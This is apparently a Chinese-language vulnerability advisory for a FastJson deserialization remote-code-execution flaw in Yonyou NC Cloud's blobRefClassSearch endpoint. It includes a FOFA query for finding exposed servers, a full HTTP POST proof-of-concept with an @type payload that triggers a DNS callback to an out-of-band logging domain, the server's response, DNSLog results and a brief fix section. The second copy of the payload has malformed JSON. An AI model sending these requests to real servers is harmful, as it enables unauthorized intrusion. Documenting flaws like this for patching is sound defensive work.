

用友NC Cloud blobRefClassSearch FastJson反序列化RCE漏洞

漏洞描述

用友 NC Cloud blobRefClassSearch 接口处存在FastJson反序列化漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

影响范围

用友-NC-Cloud

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: app="用友-NC-Cloud"

POC/EXP:

```
POST /ncchr/pm/ref/indilssued/blobRefClassSearch HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/125.0.4103.116 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8
,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/125.0.4103.116 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json

{"clientParam":{"x":{"@type":"java.net.InetSocketAddress":{"address":"","val":"xxxhld.eyes.sh"}}}}
```

发送请求

强制 HTTPS

历史

生成 Yaml 模板

Request

数据扫描 热加载 构造请求

1 POST /ncchr/pm/ref/indiIssued/blobRefClassSearch HTTP/1.1

2 Host: 127.0.0.1

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4103.116 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4103.116 Safari/537.36

6 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

7 Content-Type: application/json

8

9 {"clientParam":{"x":{"@type":"java.net.InetSocketAddress":{"address":"","val":"","034eghld.eyes.sh"}}}}

Responses 42bytes / 643ms

美化 渲染 详情

1 HTTP/1.1 500

2 Access-Control-Allow-Origin: *

3 Access-Control-Allow-Methods: *

4 Content-Type: text/html; charset=utf-8

5 Date: Sun, 14 Jul 2024 07:59:23 GMT

6 Connection: close

7 Server: server

8 Content-Length: 42

9

10 {"class":"java.lang.NullPointerException"}

DNSLog

WebLog

API

Rebind

Payloads

034eg

域名

搜索

子域名: ghld.eyes.sh

监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
30349641	ghld.eyes.sh	A		30.235		2024-07-14 15:59:23	

Previous

1

Next

第1页 / 共1页, 共1条记录

删除所有记录

修复方案

关闭互联网暴露面或接口设置访问权限

厂商已发布了漏洞修复程序，请及时关注更新：

<http://www.yonyougz.com/yonyou/yonyou-nc/>